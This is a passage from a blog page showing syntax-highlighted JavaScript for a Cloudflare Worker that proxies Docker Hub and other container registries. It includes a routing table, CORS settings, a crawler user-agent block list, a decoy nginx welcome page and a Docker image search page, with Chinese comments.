class="line">529</span><br><span class="line">530</span><br><span class="line">531</span><br><span class="line">532</span><br><span class="line">533</span><br><span class="line">534</span><br><span class="line">535</span><br><span class="line">536</span><br><span class="line">537</span><br><span class="line">538</span><br><span class="line">539</span><br><span class="line">540</span><br><span class="line">541</span><br><span class="line">542</span><br><span class="line">543</span><br><span class="line">544</span><br><span class="line">545</span><br><span class="line">546</span><br><span class="line">547</span><br><span class="line">548</span><br><span class="line">549</span><br><span class="line">550</span><br><span class="line">551</span><br><span class="line">552</span><br><span class="line">553</span><br><span class="line">554</span><br><span class="line">555</span><br><span class="line">556</span><br><span class="line">557</span><br><span class="line">558</span><br><span class="line">559</span><br><span class="line">560</span><br><span class="line">561</span><br><span class="line">562</span><br><span class="line">563</span><br><span class="line">564</span><br><span class="line">565</span><br><span class="line">566</span><br><span class="line">567</span><br><span class="line">568</span><br><span class="line">569</span><br><span class="line">570</span><br><span class="line">571</span><br><span class="line">572</span><br><span class="line">573</span><br><span class="line">574</span><br><span class="line">575</span><br><span class="line">576</span><br><span class="line">577</span><br><span class="line">578</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// Docker镜像仓库主机地址</span></span><br><span class="line"><span class="keyword">let</span> hub_host = <span class="string">&#x27;registry-1.docker.io&#x27;</span>;</span><br><span class="line"><span class="comment">// Docker认证服务器地址</span></span><br><span class="line"><span class="keyword">const</span> auth_url = <span class="string">&#x27;https://auth.docker.io&#x27;</span>;</span><br><span class="line"><span class="keyword">const</span> workers_url = <span class="string">&#x27;https://你的域名&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">let</span> 屏蔽爬虫<span class="variable constant_">UA</span> = [<span class="string">&#x27;netcraft&#x27;</span>];</span><br><span class="line"></span><br><span class="line"><span class="comment">// 根据主机名选择对应的上游地址</span></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">routeByHosts</span>(<span class="params">host</span>) &#123;</span><br><span class="line"><span class="comment">// 定义路由表</span></span><br><span class="line"><span class="keyword">const</span> routes = &#123;</span><br><span class="line"><span class="comment">// 生产环境</span></span><br><span class="line"><span class="string">&quot;quay&quot;</span>: <span class="string">&quot;quay.io&quot;</span>,</span><br><span class="line"><span class="string">&quot;gcr&quot;</span>: <span class="string">&quot;gcr.io&quot;</span>,</span><br><span class="line"><span class="string">&quot;k8s-gcr&quot;</span>: <span class="string">&quot;k8s.gcr.io&quot;</span>,</span><br><span class="line"><span class="string">&quot;k8s&quot;</span>: <span class="string">&quot;registry.k8s.io&quot;</span>,</span><br><span class="line"><span class="string">&quot;ghcr&quot;</span>: <span class="string">&quot;ghcr.io&quot;</span>,</span><br><span class="line"><span class="string">&quot;cloudsmith&quot;</span>: <span class="string">&quot;docker.cloudsmith.io&quot;</span>,</span><br><span class="line"><span class="string">&quot;nvcr&quot;</span>: <span class="string">&quot;nvcr.io&quot;</span>,</span><br><span class="line"></span><br><span class="line"><span class="comment">// 测试环境</span></span><br><span class="line"><span class="string">&quot;test&quot;</span>: <span class="string">&quot;registry-1.docker.io&quot;</span>,</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (host <span class="keyword">in</span> routes) <span class="keyword">return</span> [routes[host], <span class="literal">false</span>];</span><br><span class="line"><span class="keyword">else</span> <span class="keyword">return</span> [hub_host, <span class="literal">true</span>];</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/** <span class="doctag">@type</span> &#123;<span class="type">RequestInit</span>&#125; */</span></span><br><span class="line"><span class="keyword">const</span> <span class="variable constant_">PREFLIGHT_INIT</span> = &#123;</span><br><span class="line"><span class="comment">// 预检请求配置</span></span><br><span class="line"><span class="attr">headers</span>: <span class="keyword">new</span> <span class="title class_">Headers</span>(&#123;</span><br><span class="line"><span class="string">&#x27;access-control-allow-origin&#x27;</span>: <span class="string">&#x27;*&#x27;</span>, <span class="comment">// 允许所有来源</span></span><br><span class="line"><span class="string">&#x27;access-control-allow-methods&#x27;</span>: <span class="string">&#x27;GET,POST,PUT,PATCH,TRACE,DELETE,HEAD,OPTIONS&#x27;</span>, <span class="comment">// 允许的HTTP方法</span></span><br><span class="line"><span class="string">&#x27;access-control-max-age&#x27;</span>: <span class="string">&#x27;1728000&#x27;</span>, <span class="comment">// 预检请求的缓存时间</span></span><br><span class="line">&#125;),</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 构造响应</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> &#123;<span class="type">any</span>&#125; body 响应体</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> &#123;<span class="type">number</span>&#125; status 响应状态码</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> &#123;<span class="type">Object&lt;string, string&gt;</span>&#125; headers 响应头</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">makeRes</span>(<span class="params">body, status = <span class="number">200</span>, headers = &#123;&#125;</span>) &#123;</span><br><span class="line">headers[<span class="string">&#x27;access-control-allow-origin&#x27;</span>] = <span class="string">&#x27;*&#x27;</span> <span class="comment">// 允许所有来源</span></span><br><span class="line"><span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">Response</span>(body, &#123; status, headers &#125;) <span class="comment">// 返回新构造的响应</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 构造新的URL对象</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> &#123;<span class="type">string</span>&#125; urlStr URL字符串</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> &#123;<span class="type">string</span>&#125; base URL base</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">newUrl</span>(<span class="params">urlStr, base</span>) &#123;</span><br><span class="line"><span class="keyword">try</span> &#123;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">`Constructing new URL object with path <span class="subst">$&#123;urlStr&#125;</span> and base <span class="subst">$&#123;base&#125;</span>`</span>);</span><br><span class="line"><span class="keyword">return</span> <span class="keyword">new</span> <span class="title function_">URL</span>(urlStr, base); <span class="comment">// 尝试构造新的URL对象</span></span><br><span class="line">&#125; <span class="keyword">catch</span> (err) &#123;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">error</span>(err);</span><br><span class="line"><span class="keyword">return</span> <span class="literal">null</span> <span class="comment">// 构造失败返回null</span></span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">async</span> <span class="keyword">function</span> <span class="title function_">nginx</span>(<span class="params"></span>) &#123;</span><br><span class="line"><span class="keyword">const</span> text = <span class="string">`</span></span><br><span class="line"><span class="string">&lt;!DOCTYPE html&gt;</span></span><br><span class="line"><span class="string">&lt;html&gt;</span></span><br><span class="line"><span class="string">&lt;head&gt;</span></span><br><span class="line"><span class="string">&lt;title&gt;Welcome to nginx!&lt;/title&gt;</span></span><br><span class="line"><span class="string">&lt;style&gt;</span></span><br><span class="line"><span class="string">body &#123;</span></span><br><span class="line"><span class="string">width: 35em;</span></span><br><span class="line"><span class="string">margin: 0 auto;</span></span><br><span class="line"><span class="string">font-family: Tahoma, Verdana, Arial, sans-serif;</span></span><br><span class="line"><span class="string">&#125;</span></span><br><span class="line"><span class="string">&lt;/style&gt;</span></span><br><span class="line"><span class="string">&lt;/head&gt;</span></span><br><span class="line"><span class="string">&lt;body&gt;</span></span><br><span class="line"><span class="string">&lt;h1&gt;Welcome to nginx!&lt;/h1&gt;</span></span><br><span class="line"><span class="string">&lt;p&gt;If you see this page, the nginx web server is successfully installed and</span></span><br><span class="line"><span class="string">working. Further configuration is required.&lt;/p&gt;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">&lt;p&gt;For online documentation and support please refer to</span></span><br><span class="line"><span class="string">&lt;a href=&quot;http://nginx.org/&quot;&gt;nginx.org&lt;/a&gt;.&lt;br/&gt;</span></span><br><span class="line"><span class="string">Commercial support is available at</span></span><br><span class="line"><span class="string">&lt;a href=&quot;http://nginx.com/&quot;&gt;nginx.com&lt;/a&gt;.&lt;/p&gt;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">&lt;p&gt;&lt;em&gt;Thank you for using nginx.&lt;/em&gt;&lt;/p&gt;</span></span><br><span class="line"><span class="string">&lt;/body&gt;</span></span><br><span class="line"><span class="string">&lt;/html&gt;</span></span><br><span class="line"><span class="string">`</span></span><br><span class="line"><span class="keyword">return</span> text;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">async</span> <span class="keyword">function</span> <span class="title function_">searchInterface</span>(<span class="params"></span>) &#123;</span><br><span class="line"><span class="keyword">const</span> html = <span class="string">`</span></span><br><span class="line"><span class="string">&lt;!DOCTYPE html&gt;</span></span><br><span class="line"><span class="string">&lt;html&gt;</span></span><br><span class="line"><span class="string">&lt;head&gt;</span></span><br><span class="line"><span class="string">&lt;title&gt;Docker Hub 镜像搜索&lt;/title&gt;</span></span><br><span class="line"><span class="string">&lt;meta charset=&quot;UTF-8&quot;&gt;</span></span><br><span class="line"><span class="string">&lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&gt;</span></span><br><span class="line"><span class="string">&lt;style&gt;</span></span><br><span class="line"><span class="string">:root &#123;</span></span><br><span class="line"><span class="string">--github-color: #f0f6fc;</span></span><br><span class="line"><span class="string">--githubbj-color: #010409;</span></span><br><span class="line"><span class="string">&#125;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">* &#123;</span></span><br><span class="line"><span class="string">box-sizing: border-box;</span></span><br><span class="line"><span class="string">margin: 0;</span></span><br><span class="line"><span class="string">padding: 0;</span></span><br><span class="line"><span class="string">&#125;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">body &#123;</span></span><br><span class="line"><span class="string">font-family: -apple-system, BlinkMacSystemFont, &quot;Segoe UI&quot;, Roboto, &quot;Helvetica Neue&quot;, Arial, sans-serif;</span></span><br><span class="line"><span class="string">display: flex;</span></span><br><span class="line"><span class="string">flex-direction: column;</span></span><br><span class="line"><span class="string">justify-content: center; // 新增</span></span><br><span class="line"><span class="string">align-items: center;</span></span><br><span class="line"><span class="string">min-height: 100vh;</span></span><br><span class="line"><span class="string">margin: 0;</span></span><br><span class="line"><span class="string">background: linear-gradient(120deg, #1a90ff 0%, #003eb3 100%);</span></span><br><span class="line"><span class="string">padding: 20px;</span></span><br><span class="line"><span class="string">&#125;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">.container &#123;</span></span><br><span class="line"><span class="string">text-align: center;</span></span><br><span class="line"><span class="string">width: 100%;</span></span><br><span class="line"><span class="string">max-width: 800px;</span></span><br><span class="line"><span class="string">padding: 0 20px;</span></span><br><span class="line"><span class="string">margin: 0 auto; // 修改</span></span><br><span class="line"><span class="string">display: flex; // 新增</span></span><br><span class="line"><span class="string">flex-direction: column; // 新增</span></span><br><span class="line"><span class="string">justify-content: center; // 新增</span></span><br><span class="line"><span class="string">min-height: 70vh; // 新增</span></span><br><span class="line"><span class="string">&#125;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">.github-corner &#123;</span></span><br><span class="line"><span class="string">position: fixed;</span></span><br><span class="line"><span class="string">top: 0;</span></span><br><span class="line"><span class="string">right: 0;</span></span><br><span class="line"><span class="string">z-index: 999;</span></span><br><span class="line"><span class="string">&#125;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">.github-corner svg &#123;</span></span><br><span class="line"><span class="string">fill: var(githubbj-color);</span></span><br><span class="line"><span class="string">color: var(--github-color);</span></span><br><span class="line"><span class="string">position: absolute;</span></span><br><span class="line"><span class="string">top: 0;</span></span><br><span class="line"><span class="string">border: 0;</span></span><br><span class="line"><span class="string">right: 0;</span></span><br><span class="line"><span class="string">width: 80px;</span></span><br><span class="line"><span class="string">height: 80px;</span></span><br><span class="line"><span class="string">&#125;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">.github-corner a,</span></span><br><span class="line"><span class="string">.github-corner a:visited &#123;</span></span><br><span class="line"><span class="string">color: var(--github-color) !important;</span></span><br><span class="line"><span class="string">&#125;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">.github-corner a,</span></span><br><span class="line"><span class="string">.github-corner a:visited &#123;</span></span><br><span class="line"><span class="string">color: transparent !important;</span></span><br><span class="line"><span class="string">text-decoration: none !important;</span></span><br><span class="line"><span class="string">&#125;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">.github-corner .octo-body,</span></span><br><span class="line"><span class="string">.github-corner .octo-arm &#123;</span></span><br><span class="line"><span class="string">fill: var(--github-color) !important;</span></span><br><span class="line"><span class="string">&#125;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">.github-corner:hover .octo-arm &#123;</span></span><br><span class="line"><span class="string">animation: octocat-wave 560ms ease-in-out;</span></span><br><span class="line"><span class="string">&#125;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">@keyframes octocat-wave &#123;</span></span><br><span class="line"><span class="string">0%, 100% &#123;</span></span><br><span class="line"><span class="string">transform: rotate(0);</span></span><br><span class="line"><span class="string">&#125;</span></span><br><span class="line"><span class="string">20%, 60% &#123;</span></span><br><span class="line"><span class="string">transform: rotate(-25deg);</span></span><br><span class="line"><span class="string">&#125;</span></span><br><span class="line"><span class="string">40%, 80% &#123;</span></span><br><span class="line"><span class="string">transform: rotate(10deg);</span></span><br><span class="line"><span class="string">&#125;</span></span><br><span class="line"><span class="string">&#125;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">.logo &#123;</span></span><br><span class="line"><span class="string">margin-bottom: 30px;</span></span><br><span class="line"><span class="string">transition: transform 0.3s ease;</span></span><br><span class="line"><span class="string">&#125;</span></span><br><span class="line"><span class="string">.logo:hover &#123;</span></span><br><span class="line"><span class="string">transform: scale(1.05);</span></span><br><span class="line"><span class="string">&#125;</span></span><br><span class="line"><span class="string">.title &#123;</span></span><br><span class="line"><span class="string">color: white;</span></span><br><span class="line"><span class="string">font-size: 2em;</span></span><br><span class="line"><span class="string">margin-bottom: 10px;</span></span><br><span class="line"><span class="string">text-shadow: 0 2px 4px rgba(0,0,0,0.1);</span></span><br><span class="line"><span class="string">&#125;</span></span><br><span class="line"><span class="string">.subtitle &#123;</span></span><br><span class="line"><span class="string">color: rgba(255,255,255,0.9);</span></span><br><span class="line"><span class="string">font-size: 1.1em;</span></span><br><span class="line"><span class="string">margin-bottom: 30px;</span></span><br><span class="line"><span class="string">&#125;</span></span><br><span class="line"><span class="string">.search-container &#123;</span></span><br><span class="line"><span class="string">display: flex;</span></span><br><span class="line"><span class="string">align-items: stretch;</span></span><br><span class="line"><span class="string">width: 100%;</span></span><br><span class="line"><span class="string">max-width: 600px;</span></span><br><span class="line"><span class="string">margin: 0 auto;</span></span><br><span class="line"><span class="string">height: 50px;</span></span><br><span class="line"><span class="string">&#125;</span></span><br><span class="line"><span class="string">#search-input &#123;</span></span><br><span class="line"><span class="string">flex: 1;</span></span><br><span class="line"><span class="string">padding: 15px 20px;</span></span><br><span class="line"><span class="string">font-size: 16px;</span></span><br><span class="line"><span class="string">border: none;</span></span><br><span class="line"><span class="string">border-radius: 8px 0 0 8px;</span></span><br><span class="line"><span class="string">outline: none;</span></span><br><span class="line"><span class="string">box-shadow: 0 2px 6px rgba(0,0,0,0.1);</span></span><br><span class="line"><span class="string">transition: all 0.3s ease;</span></span><br><span class="line"><span class="string">&#125;</span></span><br><span class="line"><span class="string">#search-input &#123;</span></span><br><span class="line"><span class="string">flex: 1;</span></span><br><span class="line"><span class="string">padding: 0 20px;</span></span><br><span class="line"><span class="string">font-size: 16px;</span></span><br><span class="line"><span class="string">border: none;</span></span><br><span class="line"><span class="string">border-radius: 8px 0 0 8px;</span></span><br><span class="line"><span class="string">outline: none;</span></span><br><span class="line"><span class="string">box-shadow: 0 2px 6px rgba(0,0,0,0.1);</span></span><br><span class="line"><span class="string">transition: all 0.3s ease;</span></span><br><span class="line"><span class="string">height: 100%;</span></span><br><span class="line"><span class="string">&#125;</span></span><br><span class="line"><span class="string">#search-button &#123;</span></span><br><span class="line"><span class="string">padding: 0 25px;</span></span><br><span class="line"><span class="string">background-color: #0066ff;</span></span><br><span class="line"><span class="string">border: none;</span></span><br><span class="line"><span class="string">border-radius: 0 8px 8px 0;</span></span><br><span class="line"><span class="string">cursor: pointer;</span></span><br><span class="line"><span class="string">transition: all 0.3s ease;</span></span><br><span class="line"><span class="string">height: 100%;</span></span><br><span class="line"><span class="string">display: flex;</span></span><br><span class="line"><span class="string">align-items: center;</span></span><br><span class="line"><span class="string">justify-content: center;</span></span><br><span class="line"><span class="string">&#125;</span></span><br><span class="line"><span class="string">#search-button:hover &#123;</span></span><br><span class="line"><span class="string">background-color: #0052cc;</span></span><br><span class="line"><span class="string">transform: translateY(-1px);</span></span><br><span class="line"><span class="string">&#125;</span></span><br><span class="line"><span class="string">#search-button svg &#123;</span></span><br><span class="line"><span class="string">width: 24px;</span></span><br><span class="line"><span class="string">height: 24px;</span></span><br><span class="line"><span class="string">&#125;</span></span><br><span class="line"><span class="string">.tips &#123;</span></span><br><span class="line"><span class="string">color: rgba(255,255,255,0.8);</span></span><br><span class="line"><span class="string">margin-top: 20px;</span></span><br><span class="line"><span class="string">font-size: 0.9em;</span></span><br><span class="line"><span class="string">&#125;</span></span><br><span class="line"><span class="string">@media (max-width: 480px) &#123;</span></span><br><span class="line"><span class="string">.container &#123;</span></span><br><span class="line"><span class="string">padding: 0 15px;</span></span><br><span class="line"><span class="string">min-height: 60vh; // 新增</span></span><br><span class="line"><span class="string">&#125;</span></span><br><span class="line"><span class="string">.github-corner svg &#123;</span></span><br><span class="line"><span class="string">width: 60px;</span></span><br><span class="line"><span class="string">height: 60px;</span></span><br><span class="line"><span class="string">&#125;</span></span><br><span class="line"><span class="string">.github-corner:hover .octo-arm &#123;</span></span><br><span class="line"><span class="string">animation: none;</span></span><br><span class="line"><span class="string">&#125;</span></span><br><span class="line"><span class="string">.github-corner .octo-arm &#123;</span></span><br><span class="line"><span class="string">animation: octocat-wave 560ms ease-in-out;</span></span><br><span class="line"><span class="string">&#125;</span></span><br><span class="line"><span class="string">.search-container &#123;</span></span><br><span class="line"><span class="string">height: 45px;</span></span><br><span class="line"><span class="string">&#125;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">#search-input &#123;</span></span><br><span class="line"><span class="string">padding: 0 15px;</span></span><br><span class="line"><span class="string">&#125;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">#search-button &#123;</span></span><br><span class="line"><span class="string">padding: 0 20px;</span></span><br><span class="line"><span class="string">&#125;</span></span><br><span class="line"><span class="string">&#125;</span></span><br><span class="line"><span class="string">&lt;/style&gt;</span></span><br><span class="line"><span class="string">&lt;/head&gt;</span></span><br><span class="line"><span class="string">&lt;body&gt;</span></span><br><span class="line"><span class="string">&lt;a href=&quot;https://github.com/cmliu/CF-Workers-docker.io&quot; target=&quot;_blank&quot; class=&quot;github-corner&quot; aria-label=&quot;View source on Github&quot;&gt;</span></span><br><span class="line"><span class="string">&lt;svg viewBox=&quot;0 0 250 250&quot; aria-hidden=&quot;true&quot;&gt;</span></span><br><span class="line"><span class="string">&lt;path d=&quot;M0,0 L115,115 L130,115 L142,142 L250,250 L250,0 Z&quot;&gt;&lt;/path&gt;</span></span><br><span class="line"><span class="string">&lt;path d=&quot;M128.3,109.0 C113.8,99.7 119.0,89.6 119.0,89.6 C122.0,82.7 120.5,78.6 120.5,78.6 C119.2,72.0 123.4,76.3 123.4,76.3 C127.3,80.9 125.5,87.3 125.5,87.3 C122.9,97.6 130.6,101.9 134.4,103.2&quot; fill=&quot;currentColor&quot; style=&quot;transform-origin: 130px 106px;&quot; class=&quot;octo-arm&quot;&gt;&lt;/path&gt;</span></span><br><span class="line"><span class="string">&lt;path d=&quot;M115.0,115.0 C114.9,115.1 118.7,116.5 119.8,115.4 L133.7,101.6 C136.9,99.2 139.9,98.4 142.2,98.6 C133.8,88.0 127.5,74.4 143.8,58.0 C148.5,53.4 154.0,51.2 159.7,51.0 C160.3,49.4 163.2,43.6 171.4,40.1 C171.4,40.1 176.1,42.5 178.8,56.2 C183.1,58.6 187.2,61.8 190.9,65.4 C194.5,69.0 197.7,73.2 200.1,77.6 C213.8,80.2 216.3,84.9 216.3,84.9 C212.7,93.1 206.9,96.0 205.4,96.6 C205.1,102.4 203.0,107.8 198.3,112.5 C181.9,128.9 168.3,122.5 157.7,114.1 C157.9,116.9 156.7,120.9 152.7,124.9 L141.0,136.5 C139.8,137.7 141.6,141.9 141.8,141.8 Z&quot; fill=&quot;currentColor&quot; class=&quot;octo-body&quot;&gt;&lt;/path&gt;</span></span><br><span class="line"><span class="string">&lt;/svg&gt;</span></span><br><span class="line"><span class="string">&lt;/a&gt;</span></span><br><span class="line"><span class="string">&lt;div class=&quot;container&quot;&gt;</span></span><br><span class="line"><span class="string">&lt;div class=&quot;logo&quot;&gt;</span></span><br><span class="line"><span class="string">&lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; viewBox=&quot;0 0 24 18&quot; fill=&quot;#ffffff&quot; width=&quot;120&quot; height=&quot;90&quot;&gt;</span></span><br><span class="line"><span class="string">&lt;path d=&quot;M23.763 6.886c-.065-.053-.673-.512-1.954-.512-.32 0-.659.03-1.01.087-.248-1.703-1.651-2.533-1.716-2.57l-.345-.2-.227.328a4.596 4.596 0 0 0-.611 1.433c-.23.972-.09 1.884.403 2.666-.596.331-1.546.418-1.744.42H.752a.753.753 0 0 0-.75.749c-.007 1.456.233 2.864.692 4.07.545 1.43 1.355 2.483 2.409 3.13 1.181.725 3.104 1.14 5.276 1.14 1.016 0 2.03-.092 2.93-.266 1.417-.273 2.705-.742 3.826-1.391a10.497 10.497 0 0 0 2.61-2.14c1.252-1.42 1.998-3.005 2.553-4.408.075.003.148.005.221.005 1.371 0 2.215-.55 2.68-1.01.505-.5.685-.998.704-1.053L24 7.076l-.237-.19Z&quot;&gt;&lt;/path&gt;</span></span><br><span class="line"><span class="string">&lt;path d=&quot;M2.216 8.075h2.119a.186.186 0 0 0 .185-.186V6a.186.186 0 0 0-.185-.186H2.216A.186.186 0 0 0 2.031 6v1.89c0 .103.083.186.185.186Zm2.92 0h2.118a.185.185 0 0 0 .185-.186V6a.185.185 0 0 0-.185-.186H5.136A.185.185 0 0 0 4.95 6v1.89c0 .103.083.186.186.186Zm2.964 0h2.118a.186.186 0 0 0 .185-.186V6a.186.186 0 0 0-.185-.186H8.1A.185.185 0 0 0 7.914 6v1.89c0 .103.083.186.186.186Zm2.928 0h2.119a.185.185 0 0 0 .185-.186V6a.185.185 0 0 0-.185-.186h-2.119a.186.186 0 0 0-.185.186v1.89c0 .103.083.186.185.186Zm-5.892-2.72h2.118a.185.185 0 0 0 .185-.186V3.28a.186.186 0 0 0-.185-.186H5.136a.186.186 0 0 0-.186.186v1.89c0 .103.083.186.186.186Zm2.964 0h2.118a.186.186 0 0 0 .185-.186V3.28a.186.186 0 0 0-.185-.186H8.1a.186.186 0 0 0-.186.186v1.89c0 .103.083.186.186.186Zm2.928 0h2.119a.185.185 0 0 0 .185-.186V3.28a.186.186 0 0 0-.185-.186h-2.119a.186.186 0 0 0-.185.186v1.89c0 .103.083.186.185.186Zm0-2.72h2.119a.186.186 0 0 0 .185-.186V.56a.185.185 0 0 0-.185-.186h-2.119a.186.186 0 0 0-.185.186v1.89c0 .103.083.186.185.186Zm2.955 5.44h2.118a.185.185 0 0 0 .186-.186V6a.185.185 0 0 0-.186-.186h-2.118a.185.185 0 0 0-.185.186v1.89c0 .103.083.186.185.186Z&quot;&gt;&lt;/path&gt;</span></span><br><span class="line"><span class="string">&lt;/svg&gt;</span></span><br><span class="line"><span class="string">&lt;/div&gt;</span></span><br><span class="line"><span class="string">&lt;h1 class=&quot;title&quot;&gt;Docker Hub 镜像搜索&lt;/h1&gt;</span></span><br><span class="line"><span class="string">&lt;p class=&quot;subtitle&quot;&gt;快速查找、下载和部署 Docker 容器镜像&lt;/p&gt;</span></span><br><span class="line"><span class="string">&lt;div class=&quot;search-container&quot;&gt;</span></span><br><span class="line"><span class="string">&lt;input type=&quot;text&quot; id=&quot;search-input&quot; placeholder=&quot;输入关键词搜索镜像，如: nginx, mysql, redis...&quot;&gt;</span></span><br><span class="line"><span class="string">&lt;button id=&quot;search-button&quot; title=&quot;搜索&quot;&gt;</span></span><br><span class="line"><span class="string">&lt;svg focusable=&quot;false&quot; aria-hidden=&quot;true&quot; viewBox=&quot;0 0 24 24&quot; fill=&quot;none&quot; xmlns=&quot;http://www.w3.org/2000/svg&quot;&gt;</span></span><br><span class="line"><span class="string">&lt;path d=&quot;M21 21L16.65 16.65M19 11C19 15.4183 15.4183 19 11 19C6.58172 19 3 15.4183 3 11C3 6.58172 6.58172 3 11 3C15.4183 3 19 6.58172 19 11Z&quot; stroke=&quot;white&quot; stroke-width=&quot;2&quot; stroke-linecap=&quot;round&quot; stroke-linejoin=&quot;round&quot;&gt;&lt;/path&gt;</span></span><br><span class="line"><span class="string">&lt;/svg&gt;</span></span><br><span class="line"><span class="string">&lt;/button&gt;</span></span><br><span class="line"><span class="string">&lt;/div&gt;</span></span><br><span class="line"><span class="string">&lt;p class=&quot;tips&quot;&gt;提示：按回车键快速搜索&lt;/p&gt;</span></span><br><span class="line"><span class="string">&lt;/div&gt;</span></span><br><span class="line"><span class="string">&lt;script&gt;</span></span><br><span class="line"><span class="string">function performSearch() &#123;</span></span><br><span class="line"><span class="string">const query = document.getElementById(&#x27;search-input&#x27;).value;</span></span><br><span class="line"><span class="string">if (query) &#123;</span></span><br><span class="line"><span class="string">window.location.href = &#x27;/search?q=&#x27; + encodeURIComponent(query);</span></span><br><span class="line"><span class="string">&#125;</span></span><br><span class="line"><span class="string">&#125;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">document.getElementById(&#x27;search-button&#x27;).addEventListener(&#x27;click&#x27;, performSearch);</span></span><br><span class="line"><span class="string">document.getElementById(&#x27;search-input&#x27;).addEventListener(&#x27;keypress&#x27;, function(event) &#123;</span></span><br><span class="line"><span class="string">if (event.key === &#x27;Enter&#x27;) &#123;</span></span><br><span class="line"><span class="string">performSearch();</span></span><br><span class="line"><span class="string">&#125;</span></span><br><span class="line"><span class="string">&#125;);</span></span><br><span class="line"><span class="string">&lt;/script&gt;</span></span><br><span class="line"><span class="string">&lt;/body&gt;</span></span><br><span class="line"><span class="string">&lt;/html&gt;</span></span><br><span class="line"><span class="string">`</span>;</span><br><span class="line"><span class="keyword">return</span> html;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">export</span> <span class="keyword">default</span> &#123;</span><br><span class="line"><span class="keyword">async</span> <span class="title function_">fetch</span>(<span class="params">request, env, ctx</span>) &#123;</span><br><span class="line"><span class="keyword">const</span> <span class="title function_">getReqHeader</span> = (<span class="params">key</span>) =&gt; request.<span class="property">headers</span>.<span class="title function_">get</span>(key); <span class="comment">// 获取请求头</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">let</span> url = <span class="keyword">new</span> <span class="title function_">URL</span>(request.<span class="property">url</span>); <span class="comment">// 解析请求URL</span></span><br><span class="line"><span class="keyword">const</span> userAgentHeader = request.<span class="property">headers</span>.<span class="title function_">get</span>(<span class="string">&#x27;User-Agent&#x27;</span>);</span><br><span class="line"><span class="keyword">const</span> userAgent = userAgentHeader ? userAgentHeader.<span class="title function_">toLowerCase</span>() : <span class="string">&quot;null&quot;</span>;</span><br><span class="line"><span class="keyword">if</span> (env.<span class="property">UA</span>) 屏蔽爬虫<span class="variable constant_">UA</span> = 屏蔽爬虫<span class="variable constant_">UA</span>.<span class="title function_">concat</span>(<span class="keyword">await</span> <span class="title function_">ADD</span>(env.<span class="property">UA</span>));</span><br><span class="line"><span class="keyword">const</span> workers_url = <span class="string">`https://<span class="subst">$&#123;url.hostname&#125;</span>`</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 获取请求参数中的 ns</span></span><br><span class="line"><span class="keyword">const</span> ns = url.<span class="property">searchParams</span>.<span class="title function_">get</span>(<span class="string">&#x27;ns&#x27;</span>);</span><br><span class="line"><span class="keyword">const</span> hostname = url.<span class="property">searchParams</span>.<span class="title function_">get</span>(<span class="string">&#x27;hubhost&#x27;</span>) || url.<span class="property">hostname</span>;</span><br><span class="line"><span class="keyword">const</span> hostTop = hostname.<span class="title function_">split</span>(<span class="string">&#x27;.&#x27;</span>)[<span class="number">0</span>]; <span class="comment">// 获取主机名的第一部分</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">let</span> checkHost; <span class="comment">// 在这里定义 checkHost 变量</span></span><br><span class="line"><span class="comment">// 如果存在 ns 参数，优先使用它来确定 hub_host</span></span><br><span class="line"><span class="keyword">if</span> (ns) &#123;</span><br><span class="line"><span class="keyword">if</span> (ns === <span class="string">&#x27;docker.io&#x27;</span>) &#123;</span><br><span class="line">hub_host = <span class="string">&#x27;registry-1.docker.io&#x27;</span>; <span class="comment">// 设置上游地址为 registry-1.docker.io</span></span><br><span class="line">&#125; <span class="keyword">else</span> &#123;</span><br><span class="line">hub_host = ns; <span class="comment">// 直接使用 ns 作为 hub_host</span></span><br><span class="line">&#125;</span><br><span class="line">&#125; <span class="keyword">else</span> &#123;</span><br><span class="line">checkHost = <span class="title 